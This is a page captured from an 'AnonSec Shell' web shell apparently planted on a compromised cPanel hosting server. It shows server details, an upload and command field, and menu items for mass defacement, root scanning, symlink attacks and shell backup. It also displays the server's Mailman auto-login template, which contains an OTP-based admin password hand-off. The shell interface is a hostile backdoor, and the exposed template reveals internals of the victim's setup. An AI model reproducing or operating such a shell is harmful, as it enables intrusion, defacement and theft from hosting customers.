AnonSec Shell
Server IP : 172.67.216.113  /  Your IP : 104.23.243.33   [ Reverse IP ]
Web Server : Apache
System : Linux cpanel01wh.bkk1.cloud.z.com 2.6.32-954.3.5.lve1.4.59.el6.x86_64 #1 SMP Thu Dec 6 05:11:00 EST 2018 x86_64
User : cp648411 ( 1354)
PHP Version : 7.2.34
Disable Function : NONE
Domains : 0 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/2388322/cwd/mailman_service/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/2388322/cwd/mailman_service/loginlist.html.tt
[%
    SET FORM_LIST = RAW_FORM('email');
    SET listsp = FORM_LIST.split('@');
    SET listname = listsp.0;
    SET listdomain = listsp.1;

    SET otp = execute('Email','generate_mailman_otp', {
        'list' => (listname _ "@" _ listdomain)
    });

    IF otp.status == 1;
        SET result = {'status'=>1,'statusmsg'=>'OK'};
    ELSE;
        SET result = {'status'=>0,'statusmsg'=>otp.errors().0};
    END;

    SET goto_uri = "/3rdparty/mailman/" _ ( RAW_FORM('action') == "admindb" ? "admindb" : "admin") _ "/" _ listname _ "_" _ listdomain _ "/";

    IF CPANEL.is_webmail();
        SET url = CPANEL.ENV.cp_security_token _ goto_uri;
    ELSE;
        USE WebmailRedirect;
        SET webmail_session = WebmailRedirect.create_webmail_session( CPANEL.user, RAW_FORM.return_url );
        SET session = webmail_session.session;
        SET url = webmail_session.url;
    END;

    SET adminpw = otp.data();

    SET CPANEL.CPVAR.dprefix = '../';
%]

[% js_code = PROCESS js_block %]
[% WRAPPER '_assets/master.html.tt'
    app_key = 'mailing_lists'
    page_js = js_code
-%]
<div class="body-content">
    <h2 id="hdrAutoLogin">
      [% locale.maketext('Auto Login') %]
    </h2>
    [% IF result.status %]
        <div class="center-block">
            <img id="imgLoadingProgress" src="../images/loader.gif" alt="Loading progress image" />
        </div>
        <div class="section">
            <form action="[% url FILTER html %]" method="POST" id="loginForm">
                <input id="hdnAdminPw" type="hidden" name="adminpw" value="[% adminpw FILTER html %]" />
                [% IF CPANEL.is_cpanel() -%]
                    <input type="hidden" name="session" value="[% session.html() %]" />
                    <input type="hidden" name="goto_uri" value="[% goto_uri.html() %]">
                [% END -%]

                <div class="form-group">
                    <input id="btnLogin" type="submit" class="btn btn-primary" value="[% locale.maketext("Log in") %]" />
                </div>
            </form>
        </div>
    [% ELSE #result.status %]
        <div id="loginListErrorMsg" class="alert alert-danger">
            <span id="loginListErrorImg" class="glyphicon glyphicon-remove-sign"></span>
            <div id="loginListErrorMsg" class="alert-message">
            [% result.statusmsg FILTER html %]
            </div>
        </div>
    [% END %]
</div>
[% END #wrapper %]

[% BLOCK js_block %]
<script type="text/javascript">
    var submitForm = function() {
        var passThroughForm = CPANEL.Y.one("#loginForm");
        if (passThroughForm !== null) {
            passThroughForm.submit();
        }
    }

    YAHOO.util.Event.onDOMReady(submitForm);
</script>
[% END %]

Anon7 - 2022
AnonSec Team